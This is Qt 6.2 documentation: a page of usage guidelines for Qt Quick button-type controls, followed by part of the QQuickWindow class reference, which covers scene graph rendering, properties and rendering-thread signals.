 [Button](qml-qtquick-controls2-button) is a clickable control that starts an action, or opens or closes a popup. A button usually has a text label but it can also contain an icon.

 Button is a very suitable control when a popup or dialog needs to perform an action. The most common examples are Apply, Cancel, Save, Close and Help.


    ![]  
Recommendations:

 * The button's text should be a verb describing the action, or a noun matching the title of the popup that will be opened.
* Don't use a button to set state. [Switch](qml-qtquick-controls2-switch) is more suitable for that.
* Use the default font unless you have UI guidelines specifying otherwise.
* If the text is localized, consider the influence of a longer text on the layout.

 **See also** [Button](qml-qtquick-controls2-button) and [AbstractButton](qml-qtquick-controls2-abstractbutton)

 CheckBox Control
----------------


    ![]  
[CheckBox](qml-qtquick-controls2-checkbox) is used to build multi-selection option lists. Any number of options can be selected, including none, but the options should not be mutually exclusive.

 Use a single [CheckBox](qml-qtquick-controls2-checkbox) for a yes/no choice, such as when you have to accept the terms of service agreement in a form.

 For a single yes/no choice, it is also possible to use a switch. If the choice concerns an option, it is best to use a [CheckBox](qml-qtquick-controls2-checkbox). If it concerns action to be taken, a switch is recommended.

 When options can be grouped, you can use a partially checked [CheckBox](qml-qtquick-controls2-checkbox) to represent the whole group. Use the checkbox's [partially checked state](qml-qtquick-controls2-checkbox#checkState-prop) when a user selects some, but not all, sub-items in the group.

 The three availables check states are: checked, partially checked and unchecked.

 The checkable options are often listed vertically.

 Recommendations:

 * The checkbox label should be a statement that the check mark makes true, and that the absence of a check mark makes false.
* The checkbox label should not contain a negative statement.
* Use the default font, unless you have UI guidelines specifying otherwise.
* If the text is localized, consider the influence of a longer text on the layout.

 **See also** [CheckBox](qml-qtquick-controls2-checkbox)

 DelayButton Control
-------------------

 [DelayButton](qml-qtquick-controls2-delaybutton) is a button that incorporates a delay before triggering an action. This delay prevents accidental presses.


    ![]  
Recommendations:

 * Use in touch user interfaces.
* Use for actions that must be triggered with care.

 **See also** [Button](qml-qtquick-controls2-button) and [AbstractButton](qml-qtquick-controls2-abstractbutton)

 RadioButton Control
-------------------


    ![]  
[RadioButton](qml-qtquick-controls2-radiobutton) is used to select only one option from a set of options. Selecting one option automatically deselects the one selected before.

 If there are only two mutually exclusive options, combine them into a single checkbox or a switch.

 Recommendations:

 * Limit the label text to one line.
* Ensure that a sensible default option is checked.
* List [RadioButton](qml-qtquick-controls2-radiobutton) options vertically.
* If the text is localized, consider the influence of a longer text on the layout.
* Use the default font, unless you have UI guidelines that specify otherwise.
* Just like with [CheckBox](qml-qtquick-controls2-checkbox), do not make the list too large.
* In order to avoid confusion, do not put two groups of radio buttons next to each other.

 **See also** [RadioButton](qml-qtquick-controls2-radiobutton)

 RoundButton Control
-------------------

 [RoundButton](qml-qtquick-controls2-roundbutton) is a clickable control that starts an action, or opens or closes a popup. A round button with a square image icon or one-letter font icon is circular. A circular [RoundButton](qml-qtquick-controls2-roundbutton) takes less space than a normal [Button](qml-qtquick-controls2-button), and can also be used as a floating action button.

 ![]


Recommendations:

 * Keep labels short and concise.
* If the text is localized, consider the influence of a longer text on the layout.

 **See also** [RoundButton](qml-qtquick-controls2-roundbutton)

 Switch Control
--------------

 ![]


[Switch](qml-qtquick-controls2-switch) represents a physical switch that allows users to choose between an "on" or "off" state. Use a switch for binary operations that take effect immediately after it has been switched on. For example, a switch to turn WIFI on or off.

 Recommendations:

 * Keep labels short and concise.
* If the text is localized, consider the influence of a longer text on the layout.

 **See also** [Switch](qml-qtquick-controls2-switch)

 ToolButton Control
------------------

 ![]


[ToolButton](qml-qtquick-controls2-toolbutton) is nearly identical to [Button](qml-qtquick-controls2-button), but it has a graphical appearance that makes it more suitable for insertion into a [ToolBar](qml-qtquick-controls2-toolbar).

 **See also** [ToolButton](qml-qtquick-controls2-toolbutton)

 Related Information
-------------------

 * [Qt Quick Controls Guidelines](qtquickcontrols2-guidelines)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-buttons.html>

QQuickWindow Class
==================

 The QQuickWindow class provides the window for displaying a graphical QML scene. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QQuickWindow> |
|  CMake: |  find\_package(Qt6 COMPONENTS Quick REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Quick) |
|  qmake: |  QT += quick |
|  Since: |  Qt 5.0 |
|  Instantiated By: | [Window](qml-qtquick-window) |
|  Inherits: | [QWindow](qwindow) |
|  Inherited By: | [QQuickView](qquickview) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qquickwindow-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qquickwindow-obsolete.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  struct  | **[GraphicsStateInfo](qquickwindow-graphicsstateinfo)** |
|  enum  | **[CreateTextureOption](qquickwindow#CreateTextureOption-enum)** { TextureHasAlphaChannel, TextureHasMipmaps, TextureOwnsGLTexture, TextureCanUseAtlas, TextureIsOpaque } |
|  flags  | **[CreateTextureOptions](qquickwindow#CreateTextureOption-enum)** |
|  enum  | **[RenderStage](qquickwindow#RenderStage-enum)** { BeforeSynchronizingStage, AfterSynchronizingStage, BeforeRenderingStage, AfterRenderingStage, AfterSwapStage, NoStage } |
|  enum  | **[SceneGraphError](qquickwindow#SceneGraphError-enum)** { ContextNotAvailable } |
|  enum  | **[TextRenderType](qquickwindow#TextRenderType-enum)** { QtTextRendering, NativeTextRendering } |

 Properties
----------

 * **[activeFocusItem](qquickwindow#activeFocusItem-prop)** : QQuickItem\* const
* **[color](qquickwindow#color-prop)** : QColor
* **[contentItem](qquickwindow#contentItem-prop)** : QQuickItem\* const
* **[transientParent](qquickwindow#transientParent-prop)** : QWindow\* const

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QQuickWindow](qquickwindow#QQuickWindow)**(QWindow \**parent* = nullptr) |
|  virtual  | **[~QQuickWindow](qquickwindow#dtor.QQuickWindow)**() override |
|  QQuickItem \* | **[activeFocusItem](qquickwindow#activeFocusItem-prop)**() const |
|  void  | **[beginExternalCommands](qquickwindow#beginExternalCommands)**() |
|  QColor  | **[color](qquickwindow#color-prop)**() const |
|  QQuickItem \* | **[contentItem](qquickwindow#contentItem-prop)**() const |
|  QSGImageNode \* | **[createImageNode](qquickwindow#createImageNode)**() const |
|  QSGNinePatchNode \* | **[createNinePatchNode](qquickwindow#createNinePatchNode)**() const |
|  QSGRectangleNode \* | **[createRectangleNode](qquickwindow#createRectangleNode)**() const |
|  QSGTexture \* | **[createTextureFromImage](qquickwindow#createTextureFromImage)**(const QImage &*image*, QQuickWindow::CreateTextureOptions *options*) const |
|  QSGTexture \* | **[createTextureFromImage](qquickwindow#createTextureFromImage-1)**(const QImage &*image*) const |
|  qreal  | **[effectiveDevicePixelRatio](qquickwindow#effectiveDevicePixelRatio)**() const |
|  void  | **[endExternalCommands](qquickwindow#endExternalCommands)**() |
|  QImage  | **[grabWindow](qquickwindow#grabWindow)**() |
|  QQuickGraphicsConfiguration  | **[graphicsConfiguration](qquickwindow#graphicsConfiguration)**() const |
|  QQuickGraphicsDevice  | **[graphicsDevice](qquickwindow#graphicsDevice)**() const |
|  const QQuickWindow::GraphicsStateInfo & | **[graphicsStateInfo](qquickwindow#graphicsStateInfo)**() |
|  QQmlIncubationController \* | **[incubationController](qquickwindow#incubationController)**() const |
|  bool  | **[isPersistentGraphics](qquickwindow#isPersistentGraphics)**() const |
|  bool  | **[isPersistentSceneGraph](qquickwindow#isPersistentSceneGraph)**() const |
|  bool  | **[isSceneGraphInitialized](qquickwindow#isSceneGraphInitialized)**() const |
|  QQuickRenderTarget  | **[renderTarget](qquickwindow#renderTarget)**() const |
|  QSGRendererInterface \* | **[rendererInterface](qquickwindow#rendererInterface)**() const |
|  void  | **[scheduleRenderJob](qquickwindow#scheduleRenderJob)**(QRunnable \**job*, QQuickWindow::RenderStage *stage*) |
|  void  | **[setColor](qquickwindow#color-prop)**(const QColor &*color*) |
|  void  | **[setGraphicsConfiguration](qquickwindow#setGraphicsConfiguration)**(const QQuickGraphicsConfiguration &*config*) |
|  void  | **[setGraphicsDevice](qquickwindow#setGraphicsDevice)**(const QQuickGraphicsDevice &*device*) |
|  void  | **[setPersistentGraphics](qquickwindow#setPersistentGraphics)**(bool *persistent*) |
|  void  | **[setPersistentSceneGraph](qquickwindow#setPersistentSceneGraph)**(bool *persistent*) |
|  void  | **[setRenderTarget](qquickwindow#setRenderTarget)**(const QQuickRenderTarget &*target*) |

 Reimplemented Public Functions
------------------------------

 

|  |  |
| --- | --- |
|  virtual QAccessibleInterface \* | **[accessibleRoot](qquickwindow#accessibleRoot)**() const override |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[releaseResources](qquickwindow#releaseResources)**() |
|  void  | **[update](qquickwindow#update)**() |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[activeFocusItemChanged](qquickwindow#activeFocusItem-prop)**() |
|  void  | **[afterAnimating](qquickwindow#afterAnimating)**() |
|  void  | **[afterFrameEnd](qquickwindow#afterFrameEnd)**() |
|  void  | **[afterRenderPassRecording](qquickwindow#afterRenderPassRecording)**() |
|  void  | **[afterRendering](qquickwindow#afterRendering)**() |
|  void  | **[afterSynchronizing](qquickwindow#afterSynchronizing)**() |
|  void  | **[beforeFrameBegin](qquickwindow#beforeFrameBegin)**() |
|  void  | **[beforeRenderPassRecording](qquickwindow#beforeRenderPassRecording)**() |
|  void  | **[beforeRendering](qquickwindow#beforeRendering)**() |
|  void  | **[beforeSynchronizing](qquickwindow#beforeSynchronizing)**() |
|  void  | **[closing](qquickwindow#closing)**(QQuickCloseEvent \**close*) |
|  void  | **[colorChanged](qquickwindow#color-prop)**(const QColor &) |
|  void  | **[frameSwapped](qquickwindow#frameSwapped)**() |
|  void  | **[sceneGraphAboutToStop](qquickwindow#sceneGraphAboutToStop)**() |
|  void  | **[sceneGraphError](qquickwindow#sceneGraphError)**(QQuickWindow::SceneGraphError *error*, const QString &*message*) |
|  void  | **[sceneGraphInitialized](qquickwindow#sceneGraphInitialized)**() |
|  void  | **[sceneGraphInvalidated](qquickwindow#sceneGraphInvalidated)**() |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QSGRendererInterface::GraphicsApi  | **[graphicsApi](qquickwindow#graphicsApi)**() |
|  bool  | **[hasDefaultAlphaBuffer](qquickwindow#hasDefaultAlphaBuffer)**() |
|  QString  | **[sceneGraphBackend](qquickwindow#sceneGraphBackend)**() |
|  void  | **[setDefaultAlphaBuffer](qquickwindow#setDefaultAlphaBuffer)**(bool *useAlpha*) |
|  void  | **[setGraphicsApi](qquickwindow#setGraphicsApi)**(QSGRendererInterface::GraphicsApi *api*) |
|  void  | **[setSceneGraphBackend](qquickwindow#setSceneGraphBackend)**(const QString &*backend*) |
|  void  | **[setTextRenderType](qquickwindow#setTextRenderType)**(QQuickWindow::TextRenderType *renderType*) |
|  QQuickWindow::TextRenderType  | **[textRenderType](qquickwindow#textRenderType)**() |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[closeEvent](qquickwindow#closeEvent)**(QCloseEvent \**e*) override |
|  virtual bool  | **[event](qquickwindow#event)**(QEvent \**e*) override |
|  virtual void  | **[exposeEvent](qquickwindow#exposeEvent)**(QExposeEvent \*) override |
|  virtual void  | **[focusInEvent](qquickwindow#focusInEvent)**(QFocusEvent \**ev*) override |
|  virtual void  | **[focusOutEvent](qquickwindow#focusOutEvent)**(QFocusEvent \**ev*) override |
|  virtual void  | **[hideEvent](qquickwindow#hideEvent)**(QHideEvent \*) override |
|  virtual void  | **[keyPressEvent](qquickwindow#keyPressEvent)**(QKeyEvent \**e*) override |
|  virtual void  | **[keyReleaseEvent](qquickwindow#keyReleaseEvent)**(QKeyEvent \**e*) override |
|  virtual void  | **[mouseDoubleClickEvent](qquickwindow#mouseDoubleClickEvent)**(QMouseEvent \**event*) override |
|  virtual void  | **[mouseMoveEvent](qquickwindow#mouseMoveEvent)**(QMouseEvent \**event*) override |
|  virtual void  | **[mousePressEvent](qquickwindow#mousePressEvent)**(QMouseEvent \**event*) override |
|  virtual void  | **[mouseReleaseEvent](qquickwindow#mouseReleaseEvent)**(QMouseEvent \**event*) override |
|  virtual void  | **[resizeEvent](qquickwindow#resizeEvent)**(QResizeEvent \**ev*) override |
|  virtual void  | **[showEvent](qquickwindow#showEvent)**(QShowEvent \*) override |
|  virtual void  | **[tabletEvent](qquickwindow#tabletEvent)**(QTabletEvent \**event*) override |
|  virtual void  | **[wheelEvent](qquickwindow#wheelEvent)**(QWheelEvent \**event*) override |

 Detailed Description
--------------------

 QQuickWindow provides the graphical scene management needed to interact with and display a scene of QQuickItems.

 A QQuickWindow always has a single invisible root item. To add items to this window, reparent the items to the root item or to an existing item in the scene.

 For easily displaying a scene from a QML file, see [QQuickView](qquickview).

 ### Rendering

 QQuickWindow uses a scene graph to represent what needs to be rendered. This scene graph is disconnected from the QML scene and potentially lives in another thread, depending on the platform implementation. Since the rendering scene graph lives independently from the QML scene, it can also be completely released without affecting the state of the QML scene.

 The [sceneGraphInitialized](qquickwindow#sceneGraphInitialized)() signal is emitted on the rendering thread before the QML scene is rendered to the screen for the first time. If the rendering scene graph has been released, the signal will be emitted again before the next frame is rendered. A visible, on-screen QQuickWindow is driven internally by a `render loop`, of which there are multiple implementations provided in the scene graph. For details on the scene graph rendering process, see [Qt Quick Scene Graph](qtquick-visualcanvas-scenegraph).

 By default, a QQuickWindow renders using an accelerated 3D graphics API, such as OpenGL or Vulkan. See [Scene Graph Adaptations](qtquick-visualcanvas-adaptations) for a detailed overview of scene graph backends and the supported graphics APIs.

  **Warning:** It is crucial that graphics operations and interaction with the scene graph happens exclusively on the rendering thread, primarily during the updatePaintNode() phase.

   **Warning:** As many of the signals related to rendering are emitted from the rendering thread, connections should be made using [Qt::DirectConnection](qt#ConnectionType-enum).

  #### Integration with Accelerated 3D Graphics APIs

 It is possible to integrate OpenGL, Vulkan, Metal, or Direct3D 11 calls directly into the QQuickWindow, as long as the QQuickWindow and the underlying scene graph is rendering using the same API. To access native graphics objects, such as device or context object handles, use [QSGRendererInterface](qsgrendererinterface). An instance of [QSGRendererInterface](qsgrendererinterface) is queriable from QQuickWindow by calling [rendererInterface](qquickwindow#rendererInterface)(). The enablers for this integration are the [beforeRendering](qquickwindow#beforeRendering)(), [beforeRenderPassRecording](qquickwindow#beforeRenderPassRecording)(), [afterRenderPassRecording](qquickwindow#afterRenderPassRecording)(), and related signals. These allow rendering underlays or overlays. Alternatively, [QNativeInterface::QSGOpenGLTexture](qnativeinterface-qsgopengltexture), [QNativeInterface::QSGVulkanTexture](qnativeinterface-qsgvulkantexture), and other similar classes allow wrapping an existing native texture or image object in a [QSGTexture](qsgtexture) that can then be used with the scene graph.

 #### Rendering without Acceleration

 A limited, pure software based rendering path is available as well. With the `software` backend, a number of Qt Quick features are not available, QML items relying on these will not be rendered at all. At the same time, this allows QQuickWindow to be functional even on systems where there is no 3D graphics API available at all. See [Qt Quick Software Adaptation](qtquick-visualcanvas-adaptations-software) for more details.

 #### Redirected Rendering

 A QQuickWindow is not necessarily backed by a native window on screen. The rendering can be redirected to target a custom render target, such as a given native texture. This is achieved in combination with the [QQuickRenderControl](qquickrendercontrol) class, and functions such as [setRenderTarget](qquickwindow#setRenderTarget)(), [setGraphicsDevice](qquickwindow#setGraphicsDevice)(), and [setGraphicsConfiguration](qquickwindow#setGraphicsConfiguration)().

 In this case, the QQuickWindow represents the scene, and provides the intrastructure for rendering a frame. It will not be backed by a render loop and a native window. Instead, in this case the application drives rendering, effectively substituting for the render loops. This allows generating image sequences, rendering into textures for use in external 3D engines, or rendering Qt Quick content within a VR environment.

 #### Resource Management

 QML will try to cache images and scene graph nodes to improve performance, but in some low-memory scenarios it might be required to aggressively release these resources. The [releaseResources](qquickwindow#releaseResources)() function can be used to force the clean up of certain resources, especially resource that are cached and can be recreated later when needed again.

 Additionally, calling [releaseResources](qquickwindow#releaseResources)() may result in releasing the entire scene graph and the associated graphics resources. The [sceneGraphInvalidated](qquickwindow#sceneGraphInvalidated)() signal will be emitted when this happens. This behavior is controlled by the [setPersistentGraphics](qquickwindow#setPersistentGraphics)() and [setPersistentSceneGraph](qquickwindow#setPersistentSceneGraph)() functions.

  **Note:** All classes with QSG prefix should be used solely on the scene graph's rendering thread. See [Scene Graph and Rendering](qtquick-visualcanvas-scenegraph#scene-graph-and-rendering) for more information.

  #### Exposure and Visibility

 When a QQuickWindow instance is deliberately hidden with [hide](qwindow#hide)() or setVisible(false), it will stop rendering and its scene graph and graphics context might be released as well. This depends on the settings configured by [setPersistentGraphics](qquickwindow#setPersistentGraphics)() and [setPersistentSceneGraph](qquickwindow#setPersistentSceneGraph)(). The behavior in this respect is identical to explicitly calling the [releaseResources](qquickwindow#releaseResources)() function. A window can become not exposed, in other words non-renderable, by other means as well. This depends on the platform and windowing system. For example, on Windows minimizing a window makes it stop rendering. On macOS fully obscuring a window by other windows on top triggers the same. On Linux/X11, the behavior is dependent on the window manager.

 #### OpenGL Context and Surface Formats

 While it is possible to specify a [QSurfaceFormat](qsurfaceformat) for every QQuickWindow by calling the member function [setFormat](qwindow#setFormat)(), windows may also be created from QML by using the Window and [ApplicationWindow](qml-qtquick-controls2-applicationwindow) elements. In this case there is no C++ code involved in the creation of the window instance, yet applications may still wish to set certain surface format values, for example to request a given OpenGL version or profile. Such applications can call the static function [QSurfaceFormat::setDefaultFormat](qsurfaceformat#setDefaultFormat)() at startup. The specified format will be used for all Quick windows created afterwards.

 #### Vulkan Instance

 When using Vulkan, a QQuickWindow is automatically associated with a [QVulkanInstance](qvulkaninstance) that is created and managed internally by the scene graph. This way most applications do not need to worry about having a `VkInstance` available since it all happens automatically. In advanced cases an application may wish to create its own [QVulkanInstance](qvulkaninstance), in order to configure it in a specific way. That is possible as well. Calling [setVulkanInstance](qwindow#setVulkanInstance)() on the QQuickWindow right after construction, before making it visible, leads to using the application-supplied [QVulkanInstance](qvulkaninstance) (and the underlying `VkInstance`). When redirecting via [QQuickRenderControl](qquickrendercontrol), there is no [QVulkanInstance](qvulkaninstance) provided automatically, but rather the application is expected to provide its own and associate it with the QQuickWindow.

 #### Graphics Contexts and Devices

 When the scene graph is initialized, which typically happens when the window becomes exposed or, in case of redirected rendering, initialization is performed [via QQuickRenderControl](qquickrendercontrol#initialize), the context or device objects necessary for rendering are created automatically. This includes OpenGL contexts, Direct3D devices and device contexts, Vulkan and Metal devices. These are also queriable by application code afterwards via [QSGRendererInterface](qsgrendererinterface#getResource). When using the `basic` render loop, which performs all rendering on the GUI thread, the same context or device is used with all visible QQuickWindows. The `threaded` render loop uses a dedicated context or device object for each rendering thread, and so for each QQuickWindow. With some graphics APIs, there is a degree of customizability provided via [setGraphicsConfiguration](qquickwindow#setGraphicsConfiguration)(). This makes it possible, for example, to specify the list of Vulkan extensions to enable on the `VkDevice`. Alternatively, it is also possible to provide a set of existing context or device objects for use by the QQuickWindow, instead of letting it construct its own. This is achieved through [setGraphicsDevice](qquickwindow#setGraphicsDevice)().

 **See also** [QQuickView](qquickview), [QQuickRenderControl](qquickrendercontrol), [QQuickRenderTarget](qquickrendertarget), [QQuickGraphicsDevice](qquickgraphicsdevice), [QQuickGraphicsConfiguration](qquickgraphicsconfiguration), and [QSGRendererInterface](qsgrendererinterface).

 Member Type Documentation
-------------------------

 ### enum QQuickWindow::CreateTextureOptionflags QQuickWindow::CreateTextureOptions

 The CreateTextureOption enums are used to customize a texture is wrapped.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QQuickWindow::TextureHasAlphaChannel` | `0x0001` | The texture has an alpha channel and should be drawn using blending. |
| `QQuickWindow::TextureHasMipmaps` | `0x0002` | The texture has mipmaps and can be drawn with mipmapping enabled. |
| `QQuickWindow::TextureOwnsGLTexture` | `0x0004` | As of Qt 6.0, this flag is not used in practice and is ignored. Native graphics resource ownership is not transferable to the wrapping [QSGTexture](qsgtexture), because Qt Quick may not have the necessary details on how such an object and the associated memory should be freed. |
| `QQuickWindow::TextureCanUseAtlas` | `0x0008` | The image can be uploaded into a texture atlas. |
| `QQuickWindow::TextureIsOpaque` | `0x0010` | The texture will return false for [QSGTexture::hasAlphaChannel](qsgtexture#hasAlphaChannel)() and will not be blended. This flag was added in Qt 5.6. |

 The CreateTextureOptions type is a typedef for [QFlags](qflags)<CreateTextureOption>. It stores an OR combination of CreateTextureOption values.

 ### 
`[since 5.4]` enum QQuickWindow::RenderStage

 

| Constant | Value | Description |
| --- | --- | --- |
| `QQuickWindow::BeforeSynchronizingStage` | `0` | Before synchronization. |
| `QQuickWindow::AfterSynchronizingStage` | `1` | After synchronization. |
| `QQuickWindow::BeforeRenderingStage` | `2` | Before rendering. |
| `QQuickWindow::AfterRenderingStage` | `3` | After rendering. |
| `QQuickWindow::AfterSwapStage` | `4` | After the frame is swapped. |
| `QQuickWindow::NoStage` | `5` | As soon as possible. This value was added in Qt 5.6. |

 This enum was introduced or modified in Qt 5.4.

 **See also** [Scene Graph and Rendering](qtquick-visualcanvas-scenegraph#scene-graph-and-rendering).

 ### 
`[since 5.3]` enum QQuickWindow::SceneGraphError

 This enum describes the error in a [sceneGraphError](qquickwindow#sceneGraphError)() signal.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QQuickWindow::ContextNotAvailable` | `1` | graphics context creation failed. This typically means that no suitable OpenGL implementation was found, for example because no graphics drivers are installed and so no OpenGL 2 support is present. On mobile and embedded boards that use OpenGL ES such an error is likely to indicate issues in the windowing system integration and possibly an incorrect configuration of Qt. |

 This enum was introduced or modified in Qt 5.3.

 ### 
`[since 5.10]` enum QQuickWindow::TextRenderType

 This enum describes the default render type of text-like elements in Qt Quick ([Text](qml-qtquick-text), [TextInput](qml-qtquick-textinput), etc.).

 Select NativeTextRendering if you prefer text to look native on the target platform and do not require advanced features such as transformation of the text. Using such features in combination with the NativeTextRendering render type will lend poor and sometimes pixelated results.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QQuickWindow::QtTextRendering` | `0` | Use Qt's own rasterization algorithm. |
| `QQuickWindow::NativeTextRendering` | `1` | Use the operating system's native rasterizer for text. |

 This enum was introduced or modified in Qt 5.10.

  Property Documentation
----------------------

 ### 
`[read-only]` activeFocusItem : [QQuickItem](qquickitem)\* const

 This property holds the item which currently has active focus or `null` if there is no item with active focus.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QQuickItem \* | **activeFocusItem**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **activeFocusItemChanged**() |

 ### 
color : [QColor](qcolor)

 This property holds the color used to clear the color buffer at the beginning of each frame.

 By default, the clear color is white.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QColor  | **color**() const |
|  void  | **setColor**(const QColor &*color*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **colorChanged**(const QColor &) |

 **See also** [setDefaultAlphaBuffer](qquickwindow#setDefaultAlphaBuffer)().

 ### 
`[read-only]` contentItem : [QQuickItem](qquickitem)\* const

 This property holds the invisible root item of the scene.

 A [QQuickWindow](qquickwindow) always has a single invisible root item containing all of its content. To add items to this window, reparent the items to the contentItem or to an existing item in the scene.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QQuickItem \* | **contentItem**() const |

 ### 
`[since 5.13]` transientParent : [QWindow](qwindow#QWindow)\* const

 This property holds the window for which this window is a transient pop-up.

 This is a hint to the window manager that this window is a dialog or pop-up on behalf of the transient parent, which may be any kind of [QWindow](qwindow).

 In order to cause the window to be centered above its transient parent by default, depending on the window manager, it may also be necessary to set the [flags](qwindow#flags-prop) property with a suitable [Qt::WindowType](qt#WindowType-enum) (such as `Qt::Dialog`).

 This property was introduced in Qt 5.13.

 **See also** [parent](qwindow#parent)().

  Member Function Documentation
-----------------------------

 ### QQuickWindow::QQuickWindow([QWindow](qwindow#QWindow) \**parent* = nullptr)

 Constructs a window for displaying a QML scene with parent window *parent*.

 ### 
`[signal, since 5.3]` void QQuickWindow::afterAnimating()

 This signal is emitted on the GUI thread before requesting the render thread to perform the synchronization of the scene graph.

 Unlike the other similar signals, this one is emitted on the GUI thread instead of the render thread. It can be used to synchronize external animation systems with the QML content. At the same time this means that this signal is not suitable for triggering graphics operations.

 This function was introduced in Qt 5.3.

 ### 
`[signal, since 6.0]` void QQuickWindow::afterFrameEnd()

 This signal is emitted when the scene graph has submitted a frame. This is emitted after all other related signals, such as [afterRendering](qquickwindow#afterRendering)(). It is the last signal that is emitted by the scene graph rendering thread when rendering a frame.

  **Note:** Unlike [frameSwapped](qquickwindow#frameSwapped)(), this signal is guaranteed to be emitted also when the Qt Quick output is redirected via [QQuickRenderControl](qquickrendercontrol).

   **Warning:** This signal is emitted from the scene graph rendering thread. If your slot function needs to finish before execution continues, you must make sure that the connection is direct (see [Qt::ConnectionType](qt#ConnectionType-enum)).

  This function was introduced in Qt 6.0.

 **See also** [beforeFrameBegin](qquickwindow#beforeFrameBegin)() and [rendererInterface](qquickwindow#rendererInterface)().

 ### 
`[signal, since 5.14]` void QQuickWindow::afterRenderPassRecording()

 This signal is emitted after the scenegraph has recorded the commands for its main render pass, but the pass is not yet finalized on the command buffer.

 This signal is emitted earlier than [afterRendering](qquickwindow#afterRendering)(), and it guarantees that not just the frame but also the recording of the scenegraph's main render pass is still active. This allows inserting commands without having to generate an entire, separate render pass (which would typically clear the attached images). The native graphics objects can be queried via [QSGRendererInterface](qsgrendererinterface).

  **Note:** Resource updates (uploads, copies) typically cannot be enqueued from within a render pass. Therefore, more complex user rendering will need to connect to both [beforeRendering](qquickwindow#beforeRendering)() and this signal.

   **Warning:** This signal is emitted from the scene graph rendering thread. If your slot function needs to finish before execution continues, you must make sure that the connection is direct (see [Qt::ConnectionType](qt#ConnectionType-enum)).

  This function was introduced in Qt 5.14.

 **See also** [rendererInterface](qquickwindow#rendererInterface)().

 ### 
`[signal]` void QQuickWindow::afterRendering()

 The signal is emitted after scene graph has added its commands to the command buffer, which is not yet submitted to the graphics queue. If desired, the slot function connected to this signal can query native resources, like the command buffer, before via [QSGRendererInterface](qsgrendererinterface). Note however that the render pass (or passes) are already recorded at this point and it is not possible to add more commands within the scenegraph's pass. Instead, use [afterRenderPassRecording](qquickwindow#afterRenderPassRecording)() for that. This signal has therefore limited use in Qt 6, unlike in Qt 5. Rather, it is the combination of [beforeRendering](qquickwindow#beforeRendering)() and [beforeRenderPassRecording](qquickwindow#beforeRenderPassRecording)(), or [beforeRendering](qquickwindow#beforeRendering)() and [afterRenderPassRecording](qquickwindow#afterRenderPassRecording)(), that is typically used to achieve under- or overlaying of the custom rendering.

 When using OpenGL, the [QOpenGLContext](qopenglcontext) used for rendering by the scene graph will be bound at this point.

  **Warning:** This signal is emitted from the scene graph rendering thread. If your slot function needs to finish before execution continues, you must make sure that the connection is direct (see [Qt::ConnectionType](qt#ConnectionType-enum)).

   **Warning:** When using OpenGL, be aware that setting OpenGL 3.x or 4.x specific states and leaving these enabled or set to non-default values when returning from the connected slot can interfere with the scene graph's rendering.

  **See also** [rendererInterface](qquickwindow#rendererInterface)(), [Scene Graph - OpenGL Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-openglunderqml-example.html), [Scene Graph - Metal Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-metalunderqml-example.html), [Scene Graph - Vulkan Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-vulkanunderqml-example.html), and [Scene Graph - Direct3D 11 Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-d3d11underqml-example.html).

 ### 
`[signal, since 5.3]` void QQuickWindow::afterSynchronizing()

 This signal is emitted after the scene graph is synchronized with the QML state.

 This signal can be used to do preparation required after calls to [QQuickItem::updatePaintNode](qquickitem#updatePaintNode)(), while the GUI thread is still locked.

 When using OpenGL, the [QOpenGLContext](qopenglcontext) used for rendering by the scene graph will be bound at this point.

  **Warning:** This signal is emitted from the scene graph rendering thread. If your slot function needs to finish before execution continues, you must make sure that the connection is direct (see [Qt::ConnectionType](qt#ConnectionType-enum)).

   **Warning:** When using OpenGL, be aware that setting OpenGL 3.x or 4.x specific states and leaving these enabled or set to non-default values when returning from the connected slot can interfere with the scene graph's rendering.

  This function was introduced in Qt 5.3.

 ### 
`[signal, since 6.0]` void QQuickWindow::beforeFrameBegin()

 This signal is emitted before the scene graph starts preparing the frame. This precedes signals like [beforeSynchronizing](qquickwindow#beforeSynchronizing)() or [beforeRendering](qquickwindow#beforeRendering)(). It is the earliest signal that is emitted by the scene graph rendering thread when starting to prepare a new frame.

 This signal is relevant for lower level graphics frameworks that need to execute certain operations, such as resource cleanup, at a stage where Qt Quick has not initiated the recording of a new frame via the underlying rendering hardware interface APIs.

  **Warning:** This signal is emitted from the scene graph rendering thread. If your slot function needs to finish before execution continues, you must make sure that the connection is direct (see [Qt::ConnectionType](qt#ConnectionType-enum)).

  This function was introduced in Qt 6.0.

 **See also** [afterFrameEnd](qquickwindow#afterFrameEnd)() and [rendererInterface](qquickwindow#rendererInterface)().

 ### 
`[signal, since 5.14]` void QQuickWindow::beforeRenderPassRecording()

 This signal is emitted before the scenegraph starts recording commands for the main render pass. (Layers have their own passes and are fully recorded by the time this signal is emitted.) The render pass is already active on the command buffer when the signal is emitted.

 This signal is emitted later than [beforeRendering](qquickwindow#beforeRendering)() and it guarantees that not just the frame, but also the recording of the scenegraph's main render pass is active. This allows inserting commands without having to generate an entire, separate render pass (which would typically clear the attached images). The native graphics objects can be queried via [QSGRendererInterface](qsgrendererinterface).

  **Note:** Resource updates (uploads, copies) typically cannot be enqueued from within a render pass. Therefore, more complex user rendering will need to connect to both [beforeRendering](qquickwindow#beforeRendering)() and this signal.

